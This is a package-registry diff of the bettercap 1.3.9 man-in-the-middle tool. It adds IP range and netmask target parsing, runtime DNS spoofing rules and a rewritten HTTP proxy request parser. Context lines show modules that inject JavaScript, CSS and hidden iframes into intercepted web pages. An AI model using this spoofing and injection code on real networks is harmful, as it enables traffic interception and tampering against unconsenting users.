bettercap 1.3.8 → 1.3.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA1:
3
- metadata.gz: 97b1b49dc607820e776704bce9ca73d9bcb55b0b
4
- data.tar.gz: 194f31c34fecf4695f9b7a5728cebcab3a1bc0f2
3
+ metadata.gz: 04fcfc9b8b34c69b44236a52f322bd0e9dc42e68
4
+ data.tar.gz: a37d61a2d587eedc1e4682ee4c885629db12bd86
5
5
  SHA512:
6
- metadata.gz: f2eff4d44d1e1db62e406de421c458c97e9a8cba55d554ad2465d7cb019b488f8e961f8e5a304865c8e9a390df343cddb32d87585a99979d1279d4a832cc1498
7
- data.tar.gz: 24249e328e6ffb0a082d7058d0aacdaa6c75fdec75e820274d266f0f41a6686c781b4a91141fa52aa2bf9b6a1caf935ec6b5880ec42b6f4f7c95dd2087d078d5
6
+ metadata.gz: 33c42e7fee3330128513900d7ad5bbb6058adae66177fd75516d164cdd18d78ca6d9cacf928b071dd16b1781ca9de93f90a58442911cf4aea0b6ad64fc5206b3
7
+ data.tar.gz: 77d9f295dcf9e390bfdaabbb20c972bdf2768b1edf4a443aaea0845b525c2d1f203ed68acc210b87ef59729873e3bd36cdb4ed03f1bd2f73cb7bc0f0426933f1
@@ -93,7 +93,7 @@ class Context
93
93
  raise BetterCap::Error, "Could not detect the gateway address for interface #{@options.iface}, "\
94
94
  'make sure you\'ve specified the correct network interface to use and to have the '\
95
95
  'correct network configuration, this could also happen if bettercap '\
96
- 'is launched from a virtual environment.' if @gateway.nil? or !Network.is_ip?(@gateway)
96
+ 'is launched from a virtual environment.' unless Network::Validator.is_ip?(@gateway)
97
97
 
98
98
  Logger.debug '----- NETWORK INFORMATIONS -----'
99
99
  Logger.debug " network = #{@ifconfig[:ip4_obj]}"
@@ -18,18 +18,26 @@ module Agents
18
18
  # Base class for BetterCap::Discovery::Agents.
19
19
  class Base
20
20
  # Initialize the agent using the +ctx+ BetterCap::Context instance.
21
- def initialize( ctx )
21
+ # If +address+ is not nil only that ip will be probed.
22
+ def initialize( ctx, address = nil )
22
23
  @ctx = ctx
23
24
  @ifconfig = ctx.ifconfig
24
25
  @local_ip = @ifconfig[:ip_saddr]
25
-
26
- net = ip = @ifconfig[:ip4_obj]
27
- # loop each ip in our subnet and push it to the queue
28
- while net.include?ip
29
- unless skip_address?(ip)
30
- @ctx.packets.push( get_probe(ip) )
26
+ @address = address
27
+
28
+ if @address.nil?
29
+ net = ip = @ifconfig[:ip4_obj]
30
+ # loop each ip in our subnet and push it to the queue
31
+ while net.include?ip
32
+ unless skip_address?(ip)
33
+ @ctx.packets.push( get_probe(ip) )
34
+ end
35
+ ip = ip.succ
36
+ end
37
+ else
38
+ unless skip_address?(@address)
39
+ @ctx.packets.push( get_probe(@address) )
31
40
  end
32
- ip = ip.succ
33
41
  end
34
42
  end
35
43
 
@@ -19,7 +19,7 @@ module Agents
19
19
  class Icmp
20
20
  # Create a thread which will perform a ping-sweep on the network in order
21
21
  # to populate the ARP cache with active targets.
22
- def initialize( ctx )
22
+ def initialize( ctx, address = nil )
23
23
  Firewalls::Base.get.enable_icmp_bcast(true)
24
24
 
25
25
  # TODO: Use the real broadcast address for this network.
@@ -16,37 +16,19 @@ module BetterCap
16
16
  # Handles various network related tasks.
17
17
  module Network
18
18
  class << self
19
- # Return true if +ip+ is a valid IP address, otherwise false.
20
- def is_ip?(ip)
21
- if /\A(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})\Z/ =~ ip.to_s
22
- return $~.captures.all? {|i| i.to_i < 256}
23
- end
24
- false
25
- end
26
-
27
- # Return true if +mac+ is a valid MAC address, otherwise false.
28
- def is_mac?(mac)
29
- ( /^[a-f0-9]{1,2}\:[a-f0-9]{1,2}\:[a-f0-9]{1,2}\:[a-f0-9]{1,2}\:[a-f0-9]{1,2}\:[a-f0-9]{1,2}$/i =~ mac.to_s )
30
- end
31
-
32
19
  # Return the current network gateway or nil.
33
20
  def get_gateway
34
21
  nstat = Shell.execute('netstat -nr')
22
+ iface = Context.get.options.iface
35
23
 
36
24
  Logger.debug "NETSTAT:\n#{nstat}"
37
25
 
38
- out = nstat.split(/\n/).select {|n| n =~ /UG/ }
39
- gw = nil
40
- out.each do |line|
41
- if line.include?( Context.get.options.iface )
42
- tmp = line.split[1]
43
- if is_ip?(tmp)
44
- gw = tmp
45
- break
46
- end
26
+ nstat.split(/\n/).select {|n| n =~ /UG/ }.each do |line|
27
+ Network::Validator.each_ip(line) do |address|
28
+ return address
47
29
  end
48
30
  end
49
- gw
31
+ nil
50
32
  end
51
33
 
52
34
  # Return a list of IP addresses associated to this device network interfaces.
@@ -95,72 +77,27 @@ class << self
95
77
 
96
78
  # Return the hardware address associated with the specified +ip_address+ using
97
79
  # the +iface+ network interface.
98
- # The resolution will be performed for the specified number of +attempts+.
99
- def get_hw_address( iface, ip_address, attempts = 2 )
100
- hw_address = ArpReader.find_address( ip_address )
101
-
102
- if hw_address.nil?
103
- attempts.times do
104
- arp_pkt = PacketFu::ARPPacket.new
105
-
106
- arp_pkt.eth_saddr = arp_pkt.arp_saddr_mac = iface[:eth_saddr]
107
- arp_pkt.eth_daddr = 'ff:ff:ff:ff:ff:ff'
108
- arp_pkt.arp_daddr_mac = '00:00:00:00:00:00'
109
- arp_pkt.arp_saddr_ip = iface[:ip_saddr]
110
- arp_pkt.arp_daddr_ip = ip_address
111
-
112
- cap_thread = Thread.new do
113
- Context.get.packets.push(arp_pkt)
114
-
115
- target_mac = nil
116
- timeout = 0
117
-
118
- cap = PacketFu::Capture.new(
119
- iface: iface[:iface],
120
- start: true,
121
- filter: "arp src #{ip_address} and ether dst #{arp_pkt.eth_saddr}"
122
- )
123
-
124
- begin
125
- Logger.debug 'Attempting to get MAC from packet capture ...'
126
- target_mac = Timeout::timeout(0.5) { get_mac_from_capture(cap, ip_address) }
127
- rescue Timeout::Error
128
- timeout += 0.1
129
- retry if target_mac.nil? && timeout <= 5
130
- end
131
-
132
- target_mac
133
- end
134
- hw_address = cap_thread.value
135
-
136
- break unless hw_address.nil?
137
- end
80
+ def get_hw_address( ctx, ip )
81
+ hw = ArpReader.find_address( ip )
82
+ if hw.nil?
83
+ start_agents( ctx, ip )
84
+ hw = ArpReader.find_address( ip )
138
85
  end
139
-
140
- hw_address
86
+ hw
141
87
  end
142
88
 
143
89
  private
144
90
 
145
91
  # Start discovery agents and wait for +ctx.timeout+ seconds for them to
146
92
  # complete their job.
147
- def start_agents( ctx )
93
+ # If +address+ is not nil only that ip will be probed.
94
+ def start_agents( ctx, address = nil )
148
95
  [ 'Icmp', 'Udp', 'Arp' ].each do |name|
149
- BetterCap::Loader.load("BetterCap::Discovery::Agents::#{name}").new(ctx)
96
+ BetterCap::Loader.load("BetterCap::Discovery::Agents::#{name}").new(ctx, address)
150
97
  end
151
98
  ctx.packets.wait_empty( ctx.timeout )
152
99
  end
153
-
154
- # Search for the MAC address associated to +ip_address+ inside the +cap+
155
- # PacketFu::Capture object.
156
- def get_mac_from_capture( cap, ip_address )
157
- cap.stream.each do |p|
158
- arp_response = PacketFu::Packet.parse(p)
159
- target_mac = arp_response.arp_saddr_mac if arp_response.arp_saddr_ip == ip_address
160
- break target_mac unless target_mac.nil?
161
- end
162
- end
163
-
164
100
  end
101
+
165
102
  end
166
103
  end
@@ -63,7 +63,7 @@ class PacketQueue
63
63
  def dispatch_udp_packet(packet)
64
64
  ip, port, data = packet
65
65
  @mutex.synchronize {
66
- Logger.debug "Sending UDP data packet to #{ip}:#{port} ..."
66
+ Logger.debug "Sending UDP data packet to #{ip}:#{port} ..."
67
67
  @udp.send( data, 0, ip, port )
68
68
  }
69
69
  end
@@ -71,7 +71,7 @@ class PacketQueue
71
71
  # Use the global Pcap injection instance to send the +packet+.
72
72
  def dispatch_raw_packet(packet)
73
73
  @mutex.synchronize {
74
- Logger.debug "Sending #{packet.class.name} packet ..."
74
+ # Logger.debug "Sending #{packet.class.name} packet ..."
75
75
  @stream.inject( packet.headers[0].to_s )
76
76
  }
77
77
  end
@@ -18,10 +18,21 @@ module Servers
18
18
 
19
19
  # Class to wrap RubyDNS::RuleBasedServer and add some utility methods.
20
20
  class DnsWrapper < RubyDNS::RuleBasedServer
21
+ # List of redirection rules.
22
+ attr_accessor :rules
23
+ # we need this in order to add rules at runtime.
24
+ @@instance = nil
25
+
26
+ # Return the active instance of this object.
27
+ def self.get
28
+ @@instance
29
+ end
30
+
21
31
  # Instantiate a server with a block.
22
32
  def initialize(options = {}, &block)
23
33
  super(options,&block)
24
34
  @rules = options[:rules]
35
+ @@instance = self
25
36
  end
26
37
  # Give a name and a record type, try to match a rule and use it for processing the given arguments.
27
38
  def process(name, resource_class, transaction)
@@ -35,7 +46,7 @@ class DNSD
35
46
  # Initialize the DNS server with the specified +address+ and tcp/udp +port+.
36
47
  # The server will load +hosts_filename+ composed by 'regexp -> ip' entries
37
48
  # to do custom DNS spoofing/resolution.
38
- def initialize( hosts_filename, address = '0.0.0.0', port = 5300 )
49
+ def initialize( hosts_filename = nil, address = '0.0.0.0', port = 5300 )
39
50
  @port = port
40
51
  @address = address
41
52
  @server = nil
@@ -46,16 +57,29 @@ class DNSD
46
57
  [:tcp, address, port]
47
58
  ]
48
59
 
49
- DNSD.parse_hosts( hosts_filename ).each do |exp,addr|
50
- block = Proc.new do |transaction|
51
- Logger.info "[#{transaction.options[:peer]} > #{'DNS'.green}] Received request for '#{transaction.question.to_s.yellow}', sending spoofed reply #{addr.yellow} ..."
52
- transaction.respond!(addr)
60
+ unless hosts_filename.nil?
61
+ DNSD.parse_hosts( hosts_filename ).each do |exp,addr|
62
+ block = Proc.new do |transaction|
63
+ Logger.info "[#{transaction.options[:peer]} > #{'DNS'.green}] Received request for '#{transaction.question.to_s.yellow}', sending spoofed reply #{addr.yellow} ..."
64
+ transaction.respond!(addr)
65
+ end
66
+
67
+ @rules << RubyDNS::RuleBasedServer::Rule.new( [ exp, Resolv::DNS::Resource::IN::A ], block )
53
68
  end
54
69
 
55
- @rules << RubyDNS::RuleBasedServer::Rule.new( [ exp, Resolv::DNS::Resource::IN::A ], block )
70
+ Logger.warn "Empty hosts file for DNS server." if @rules.empty?
71
+ end
72
+ end
73
+
74
+ # Add a rule to the DNS resolver at runtime.
75
+ def add_rule( exp, addr )
76
+ Logger.debug "[#{'DNS'.green}] Adding rule: '#{exp}' -> '#{addr}' ..."
77
+ block = Proc.new do |transaction|
78
+ Logger.info "[#{transaction.options[:peer]} > #{'DNS'.green}] Received request for '#{transaction.question.to_s.yellow}', sending spoofed reply #{addr.yellow} ..."
79
+ transaction.respond!(addr)
56
80
  end
57
81
 
58
- Logger.warn "Empty hosts file for DNS server." if @rules.empty?
82
+ DnsWrapper.get.rules << RubyDNS::RuleBasedServer::Rule.new( [ Regexp.new(exp), Resolv::DNS::Resource::IN::A ], block )
59
83
  end
60
84
 
61
85
  # Start the server.
@@ -63,7 +87,14 @@ class DNSD
63
87
  Logger.info "[#{'DNS'.green}] Starting on #{@address}:#{@port} ( #{@rules.size} redirection rule#{if @rules.size > 1 then 's' else '' end} ) ..."
64
88
 
65
89
  @thread = Thread.new {
66
- RubyDNS::run_server(:listen => @ifaces, :asynchronous => true, :server_class => DnsWrapper, :rules => @rules ) do
90
+ options = {
91
+ :listen => @ifaces,
92
+ :asynchronous => true,
93
+ :server_class => DnsWrapper,
94
+ :rules => @rules
95
+ }
96
+
97
+ RubyDNS::run_server( options ) do
67
98
  # Suppress RubyDNS logging.
68
99
  @logger.level = ::Logger::ERROR
69
100
  @upstream ||= RubyDNS::Resolver.new([[:udp, "8.8.8.8", 53], [:tcp, "8.8.8.8", 53]])
@@ -108,7 +139,8 @@ class DNSD
108
139
  address = Context.get.ifconfig[:ip_saddr].to_s
109
140
  end
110
141
 
111
- raise BetterCap::Error, "Invalid IPv4 address '#{address}' on line #{lineno + 1} of '#{filename}'." unless Network.is_ip?(address)
142
+ raise BetterCap::Error, "Invalid IPv4 address '#{address}' on line #{lineno + 1} of '#{filename}'." \
143
+ unless Network::Validator.is_ip?(address)
112
144
 
113
145
  begin
114
146
  hosts[ Regexp.new(expression) ] = address
@@ -10,7 +10,6 @@ Blog : http://www.evilsocket.net/
10
10
  This project is released under the GPL 3 license.
11
11
 
12
12
  =end
13
- require 'bettercap/logger'
14
13
  require 'socket'
15
14
 
16
15
  module BetterCap
@@ -45,13 +44,15 @@ class Target
45
44
  # ip address will be parsed from the computer ARP cache and updated
46
45
  # accordingly.
47
46
  def initialize( ip, mac=nil )
48
- if Network.is_ip?(ip)
49
- @ip = ip
47
+ if Network::Validator.is_ip?(ip)
48
+ @ip = ip
50
49
  @ip_refresh = false
51
- else
50
+ elsif Network::Validator.is_mac?(ip)
52
51
  @ip = nil
53
52
  mac = ip
54
53
  @ip_refresh = true
54
+ else
55
+ raise BetterCap::Error, "'#{ip}' is not a valid IP or MAC address."
55
56
  end
56
57
 
57
58
  @mac = Target.normalized_mac(mac) unless mac.nil?
@@ -0,0 +1,87 @@
1
+ # encoding: UTF-8
2
+ =begin
3
+
4
+ BETTERCAP
5
+
6
+ Author : Simone 'evilsocket' Margaritelli
7
+ Email : evilsocket@gmail.com
8
+ Blog : http://www.evilsocket.net/
9
+
10
+ This project is released under the GPL 3 license.
11
+
12
+ =end
13
+ module BetterCap
14
+ module Network
15
+ # Simple class to perform validation of various addresses, ranges, etc.
16
+ class Validator
17
+ # Basic expression to validate an IP address.
18
+ IP_ADDRESS_REGEX = '(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})'
19
+ # Quite self explainatory :)
20
+ IP_OCTECT_MAX = 255
21
+
22
+ # Return true if +ip+ is a valid IP address, otherwise false.
23
+ def self.is_ip?(ip)
24
+ if /\A#{IP_ADDRESS_REGEX}\Z/ =~ ip.to_s
25
+ return $~.captures.all? { |i| i.to_i <= IP_OCTECT_MAX }
26
+ end
27
+ false
28
+ end
29
+
30
+ # Extract valid IP addresses from +data+ and yields each one of them.
31
+ def self.each_ip(data)
32
+ data.scan(/(#{IP_ADDRESS_REGEX})/).each do |m|
33
+ yield( m[0] ) if m[0] != '0.0.0.0'
34
+ end
35
+ end
36
+
37
+ # Return true if +r+ is a valid IP address range ( 192.168.1.1-93 ), otherwise false.
38
+ def self.is_range?(r)
39
+ if /\A#{IP_ADDRESS_REGEX}\-(\d{1,3})\Z/ =~ r.to_s
40
+ return $~.captures.all? { |i| i.to_i <= IP_OCTECT_MAX }
41
+ end
42
+ false
43
+ end
44
+
45
+ # Parse +r+ as an IP range and return the first and last IP.
46
+ def self.parse_range(r)
47
+ first, last_part = r.split('-')
48
+ last = first.split('.')[0..2].join('.') + ".#{last_part}"
49
+ first = IPAddr.new(first)
50
+ last = IPAddr.new(last)
51
+
52
+ [ first, last ]
53
+ end
54
+
55
+ # Parse +r+ as an IP range and yields each address in it.
56
+ def self.each_in_range(r)
57
+ first, last = self.parse_range(r)
58
+ loop do
59
+ yield first.to_s
60
+ break if first == last
61
+ first = first.succ
62
+ end
63
+ end
64
+
65
+ # Parse +m+ as a netmask and yields each address in it.
66
+ def self.each_in_netmask(m)
67
+ IPAddr.new(m).to_range.each do |o|
68
+ yield o.to_s
69
+ end
70
+ end
71
+
72
+ # Return true if +n+ is a valid IP netmask range ( 192.168.1.1/24 ), otherwise false.
73
+ def self.is_netmask?(n)
74
+ if /\A#{IP_ADDRESS_REGEX}\/(\d+)\Z/ =~ n.to_s
75
+ return $~.captures.all? { |i| i.to_i <= IP_OCTECT_MAX }
76
+ end
77
+ false
78
+ end
79
+
80
+ # Return true if +mac+ is a valid MAC address, otherwise false.
81
+ def self.is_mac?(mac)
82
+ ( /^[a-f0-9]{1,2}\:[a-f0-9]{1,2}\:[a-f0-9]{1,2}\:[a-f0-9]{1,2}\:[a-f0-9]{1,2}\:[a-f0-9]{1,2}$/i =~ mac.to_s )
83
+ end
84
+ end
85
+
86
+ end
87
+ end
@@ -367,8 +367,13 @@ class Options
367
367
 
368
368
  ctx.options.starting_message
369
369
 
370
+ if ctx.options.sslstrip and ctx.options.dnsd
371
+ raise BetterCap::Error, "SSL Stripping and builtin DNS server are mutually exclusive features, " \
372
+ "either use the --no-sslstrip option or remove the --dns option."
373
+ end
374
+
370
375
  unless ctx.options.gateway.nil?
371
- raise BetterCap::Error, "The specified gateway '#{ctx.options.gateway}' is not a valid IPv4 address." unless Network.is_ip?(ctx.options.gateway)
376
+ raise BetterCap::Error, "The specified gateway '#{ctx.options.gateway}' is not a valid IPv4 address." unless Network::Validator.is_ip?(ctx.options.gateway)
372
377
  ctx.gateway = ctx.options.gateway
373
378
  Logger.debug("Targetting manually specified gateway #{ctx.gateway}")
374
379
  end
@@ -418,7 +423,7 @@ class Options
418
423
  # or more invalid IP addresses are specified.
419
424
  def parse_ignore!(value)
420
425
  @ignore = value.split(",")
421
- valid = @ignore.select { |target| Network.is_ip?(target) }
426
+ valid = @ignore.select { |target| Network::Validator.is_ip?(target) }
422
427
 
423
428
  raise BetterCap::Error, "Invalid ignore addresses specified." if valid.empty?
424
429
 
@@ -435,7 +440,7 @@ class Options
435
440
  # Setter for the #custom_proxy or #custom_https_proxy attribute, will raise a
436
441
  # BetterCap::Error if +value+ is not a valid IP address.
437
442
  def parse_custom_proxy!(value, https=false)
438
- raise BetterCap::Error, 'Invalid custom HTTP upstream proxy address specified.' unless Network.is_ip?(value)
443
+ raise BetterCap::Error, 'Invalid custom HTTP upstream proxy address specified.' unless Network::Validator.is_ip?(value)
439
444
  if https
440
445
  @custom_proxy = value
441
446
  else
@@ -460,25 +465,37 @@ class Options
460
465
  # Split specified targets and parse them ( either as IP or MAC ), will raise a
461
466
  # BetterCap::Error if one or more invalid addresses are specified.
462
467
  def parse_targets
468
+ valid = []
463
469
  targets = @target.split(",")
464
- valid_targets = targets.select { |target| Network.is_ip?(target) or Network.is_mac?(target) }
465
470
 
466
- raise BetterCap::Error, "Invalid target specified." if valid_targets.empty?
471
+ targets.each do |t|
472
+ if Network::Validator.is_ip?(t) or Network::Validator.is_mac?(t)
473
+ valid << Network::Target.new(t)
474
+
475
+ elsif Network::Validator.is_range?(t)
476
+ Network::Validator.each_in_range( t ) do |address|
477
+ valid << Network::Target.new(address)
478
+ end
467
479
 
468
- invalid_targets = targets - valid_targets
469
- invalid_targets.each do |target|
470
- Logger.warn "Invalid target specified: #{target}"
480
+ elsif Network::Validator.is_netmask?(t)
481
+ Network::Validator.each_in_netmask(t) do |address|
482
+ valid << Network::Target.new(address)
483
+ end
484
+
485
+ else
486
+ raise BetterCap::Error, "Invalid target specified '#{t}', valid formats are IP addresses, "\
487
+ "MAC addresses, IP ranges ( 192.168.1.1-30 ) or netmasks ( 192.168.1.1/24 ) ."
488
+ end
471
489
  end
472
490
 
473
- valid_targets.map { |target| Network::Target.new(target) }
491
+ valid
474
492
  end
475
493
 
476
494
  # Parse spoofers and return a list of BetterCap::Spoofers objects. Raise a
477
495
  # BetterCap::Error if an invalid spoofer name was specified.
478
496
  def parse_spoofers
479
497
  spoofers = []
480
- spoofer_modules_names = @spoofer.split(",")
481
- spoofer_modules_names.each do |module_name|
498
+ @spoofer.split(",").each do |module_name|
482
499
  spoofers << Spoofers::Base.get_by_name( module_name )
483
500
  end
484
501
  spoofers
@@ -56,7 +56,7 @@ class InjectCSS < BetterCap::Proxy::Module
56
56
  def on_request( request, response )
57
57
  # is it a html page?
58
58
  if response.content_type =~ /^text\/html.*/
59
- BetterCap::Logger.info "[#{'INJECTCSS'.green}] Injecting CSS #{if @@cssdata.nil? then "URL" else "file" end} into http://#{request.host}#{request.url}"
59
+ BetterCap::Logger.info "[#{'INJECTCSS'.green}] Injecting CSS #{if @@cssdata.nil? then "URL" else "file" end} into #{request.to_url}"
60
60
  # inject URL
61
61
  if @@cssdata.nil?
62
62
  response.body.sub!( '</head>', " <link rel=\"stylesheet\" href=\"#{@cssurl}\"></script></head>" )
@@ -44,7 +44,7 @@ class InjectHTML < BetterCap::Proxy::Module
44
44
  def on_request( request, response )
45
45
  # is it a html page?
46
46
  if response.content_type =~ /^text\/html.*/
47
- BetterCap::Logger.info "[#{'INJECTHTML'.green}] Injecting HTML code into http://#{request.host}#{request.url}"
47
+ BetterCap::Logger.info "[#{'INJECTHTML'.green}] Injecting HTML code into #{request.to_url}"
48
48
 
49
49
  if @@data.nil?
50
50
  response.body.sub!( '</body>', "<iframe src=\"#{@@iframe}\" frameborder=\"0\" height=\"0\" width=\"0\"></iframe></body>" )
@@ -56,7 +56,7 @@ class InjectJS < BetterCap::Proxy::Module
56
56
  def on_request( request, response )
57
57
  # is it a html page?
58
58
  if response.content_type =~ /^text\/html.*/
59
- BetterCap::Logger.info "[#{'INJECTJS'.green}] Injecting javascript #{if @@jsdata.nil? then "URL" else "file" end} into http://#{request.host}#{request.url}"
59
+ BetterCap::Logger.info "[#{'INJECTJS'.green}] Injecting javascript #{if @@jsdata.nil? then "URL" else "file" end} into #{request.to_url}"
60
60
  # inject URL
61
61
  if @@jsdata.nil?
62
62
  response.body.sub!( '</head>', "<script src=\"#{@@jsurl}\" type=\"text/javascript\"></script></head>" )
@@ -45,8 +45,13 @@ class Proxy
45
45
 
46
46
  BasicSocket.do_not_reverse_lookup = true
47
47
 
48
- @pool = ThreadPool.new( 4, 16 ) do |client|
48
+ @pool = ThreadPool.new( 4, 64 ) do |client|
49
+ begin
49
50
  client_worker client
51
+ rescue Exception => e
52
+ Logger.warn "Client worker errort: #{e.message}"
53
+ Logger.exception e
54
+ end
50
55
  end
51
56
  end
52
57
 
@@ -98,6 +103,9 @@ class Proxy
98
103
  while @running do
99
104
  begin
100
105
  @pool << @server.accept
106
+ rescue OpenSSL::SSL::SSLError => se
107
+ Logger.debug("Error while accepting #{@type} connection.")
108
+ Logger.exception(se)
101
109
  rescue Exception => e
102
110
  Logger.warn("Error while accepting #{@type} connection: #{e.inspect}") if @running
103
111
  end
@@ -109,7 +117,10 @@ class Proxy
109
117
  # Return true if the +request+ host header contains one of this computer
110
118
  # ip addresses.
111
119
  def is_self_request?(request)
112
- @local_ips.include? IPSocket.getaddress(request.host)
120
+ begin
121
+ return @local_ips.include? IPSocket.getaddress(request.host)
122
+ rescue; end
123
+ false
113
124
  end
114
125
 
115
126
  # Handle a new +client+.
@@ -121,12 +132,14 @@ class Proxy
121
132
 
122
133
  request.read(client)
123
134
 
135
+ Logger.debug 'Request parsed.'
136
+
124
137
  # stripped request
125
138
  if @streamer.was_stripped?( request, client )
126
139
  @streamer.handle( request, client )
127
140
  # someone is having fun with us =)
128
141
  elsif is_self_request? request
129
- @streamer.rickroll( client, @is_https )
142
+ @streamer.rickroll( client )
130
143
  # handle request
131
144
  else
132
145
  @streamer.handle( request, client )
@@ -135,10 +148,12 @@ class Proxy
135
148
  Logger.debug "#{@type} client served."
136
149
 
137
150
  rescue SocketError => se
138
- Logger.debug "Socket error while serving client: #{e.message}"
139
- Logger.exception e
151
+ Logger.debug "Socket error while serving client: #{se.message}"
152
+ # Logger.exception se
140
153
  rescue Errno::EPIPE => ep
141
154
  Logger.debug "Connection closed while serving client."
155
+ rescue EOFError => eof
156
+ Logger.debug "EOFError while serving client."
142
157
  rescue Exception => e
143
158
  Logger.warn "Error while serving client: #{e.message}"
144
159
  Logger.exception e
@@ -15,12 +15,12 @@ module BetterCap
15
15
  module Proxy
16
16
  # HTTP request parser.
17
17
  class Request
18
- # Patched request lines.
19
- attr_reader :lines
20
- # HTTP verb.
21
- attr_reader :verb
22
- # Request URL.
23
- attr_reader :url
18
+ # HTTP method.
19
+ attr_reader :method
20
+ # HTTP version.
21
+ attr_reader :version
22
+ # Request path + query.
23
+ attr_reader :path
24
24
  # Hostname.
25
25
  attr_reader :host
26
26
  # Request port.
@@ -33,21 +33,19 @@ class Request
33
33
  attr_accessor :body
34
34
  # Client address.
35
35
  attr_accessor :client
36
- # Client port.
37
- attr_accessor :client_port
38
36
 
39
37
  # Initialize this object setting #port to +default_port+.
40
38
  def initialize( default_port = 80 )
41
- @lines = []
42
- @verb = nil
43
- @url = nil
44
- @host = nil
45
- @port = default_port
46
- @headers = {}
39
+ @lines = []
40
+ @method = nil
41
+ @version = '1.1'
42
+ @path = nil
43
+ @host = nil
44
+ @port = default_port
45
+ @headers = {}
47
46
  @content_length = 0
48
- @body = nil
49
- @client = ""
50
- @client_port = 0
47
+ @body = nil
48
+ @client = ""
51
49
  end
52
50
 
53
51
  # Read lines from the +sock+ socket and parse them.
@@ -94,64 +92,71 @@ class Request
94
92
  Logger.debug " REQUEST LINE: '#{line}'"
95
93
 
96
94
  # is this the first line '<VERB> <URI> HTTP/<VERSION>' ?
97
- if @url.nil? and line =~ /^(\w+)\s+(\S+)\s+HTTP\/[\d\.]+\s*$/
98
- @verb = $1
99
- @url = $2
95
+ if line =~ /^(\w+)\s+(\S+)\s+HTTP\/([\d\.]+)\s*$/
96
+ @method = $1
97
+ @path = $2
98
+ @version = $3
100
99
 
101
100
  # fix url
102
- if @url.include? '://'
103
- uri = URI::parse @url
104
- @url = "#{uri.path}" + ( uri.query ? "?#{uri.query}" : '' )
101
+ if @path.include? '://'
102
+ uri = URI::parse @path
103
+ @path = "#{uri.path}" + ( uri.query ? "?#{uri.query}" : '' )
105
104
  end
106
105
 
107
- line = "#{@verb} #{@url} HTTP/1.1"
108
- # get the host header value
109
- elsif line =~ /^Host:\s*(.*)$/
110
- @host = $1
111
- if host =~ /([^:]*):([0-9]*)$/
112
- @host = $1
113
- @port = $2.to_i
106
+ # collect and fix headers
107
+ elsif line =~ /^([^:\s]+)\s*:\s*(.+)$/i
108
+ name = $1
109
+ value = $2
110
+
111
+ case name
112
+ when 'Host'
113
+ @host = value
114
+ if @host =~ /([^:]*):([0-9]*)$/
115
+ @host = $1
116
+ @port = $2.to_i
117
+ end
118
+ when 'Content-Length'
119
+ @content_length = value.to_i
120
+ # we don't want to have hundreds of threads running
121
+ when 'Connection'
122
+ value = 'close'
123
+ when 'Proxy-Connection'
124
+ name = 'Connection'
125
+ # disable gzip, chunked, etc encodings
126
+ when 'Accept-Encoding'
127
+ value = 'identity'
114
128
  end
115
- # parse content length, this will speed up data streaming
116
- elsif line =~ /^Content-Length:\s+(\d+)\s*$/i
117
- @content_length = $1.to_i
118
- # we don't want to have hundreds of threads running
119
- elsif line =~ /^Connection: keep-alive/i
120
- line = 'Connection: close'
121
- elsif line =~ /^Proxy-Connection: (.+)/i
122
- line = "Connection: #{$1}"
123
- # disable gzip, chunked, etc encodings
124
- elsif line =~ /^Accept-Encoding:.*/i
125
- line = 'Accept-Encoding: identity'
126
- end
127
129
 
128
- # collect headers
129
- if line =~ /^([^:\s]+)\s*:\s*(.+)$/i
130
- @headers[$1] = $2
130
+ @headers[name] = value
131
131
  end
132
-
133
- @lines << line
134
132
  end
135
133
 
136
134
  # Return true if this is a POST request, otherwise false.
137
135
  def post?
138
- @verb == 'POST'
136
+ @method == 'POST'
139
137
  end
140
138
 
141
139
  # Return a string representation of the HTTP request.
142
140
  def to_s
143
- @lines.join("\n") + "\n" + ( @body || '' )
141
+ raw = "#{@method} #{@path} HTTP/#{@version}\n"
142
+
143
+ @headers.each do |name,value|
144
+ raw << "#{name}: #{value}\n"
145
+ end
146
+
147
+ raw << "\n"
148
+ raw << ( @body || '' )
149
+ raw
144
150
  end
145
151
 
152
+ # Return SCHEMA://HOST
146
153
  def base_url
147
- schema = if port == 443 then 'https' else 'http' end
148
- "#{schema}://#{@host}/"
154
+ "#{port == 443 ? 'https' : 'http'}://#{@host}"
149
155
  end
150
156
 
151
157
  # Return the full request URL trimming it at +max_length+ characters.
152
158
  def to_url(max_length = 50)
153
- schema = if port == 443 then 'https' else 'http' end
154
- url = "#{schema}://#{@host}#{@url}"
159
+ url = "#{base_url}#{@path}"
155
160
  unless max_length.nil?
156
161
  url = url.slice(0..max_length) + '...' unless url.length <= max_length
157
162
  end
@@ -160,37 +165,23 @@ class Request
160
165
 
161
166
  # Return the value of header with +name+ or an empty string.
162
167
  def [](name)
163
- if @headers.include?(name) then @headers[name] else "" end
168
+ ( @headers.has_key?(name) ? @headers[name] : "" )
164
169
  end
165
170
 
166
171
  # If the header with +name+ is found, then a +value+ is assigned to it.
167
172
  # If +value+ is null and the header is found, it will be removed.
168
173
  def []=(name, value)
169
- found = false
170
- @lines.each_with_index do |line,i|
171
- if line =~ /^#{name}:\s*.+$/i
172
- found = true
173
- if value.nil?
174
- @headers.delete(name)
175
- @lines.delete_at(i)
176
- else
177
- @headers[name] = value
178
- @lines[i] = "#{name}: #{value}"
179
- end
180
- break
174
+ if @headers.has_key?(name)
175
+ if value.nil?
176
+ @headers.delete(name)
177
+ else
178
+ @headers[name] = value
181
179
  end
182
- end
183
-
184
- if name == 'Host'
185
- @host = value
186
- end
187
-
188
- if !found and !value.nil?
180
+ elsif !value.nil?
189
181
  @headers[name] = value
190
- @lines << "#{name}: #{value}"
191
182
  end
192
183
 
193
- @lines.reject!(&:empty?)
184
+ @host = value if name == 'Host'
194
185
  end
195
186
  end
196
187
  end
@@ -155,13 +155,18 @@ class Response
155
155
  found = false
156
156
  @headers.each_with_index do |header,i|
157
157
  if header =~ /^#{name}:\s*.+$/i
158
- @headers[i] = "#{name}: #{value}"
158
+ if value.nil?
159
+ @headers.delete(i)
160
+ else
161
+ @headers[i] = "#{name}: #{value}"
162
+ end
163
+
159
164
  found = true
160
165
  break
161
166
  end
162
167
  end
163
168
 
164
- unless found
169
+ unless found or value.nil?
165
170
  @headers << "#{name}: #{value}"
166
171
  end
167
172
  end
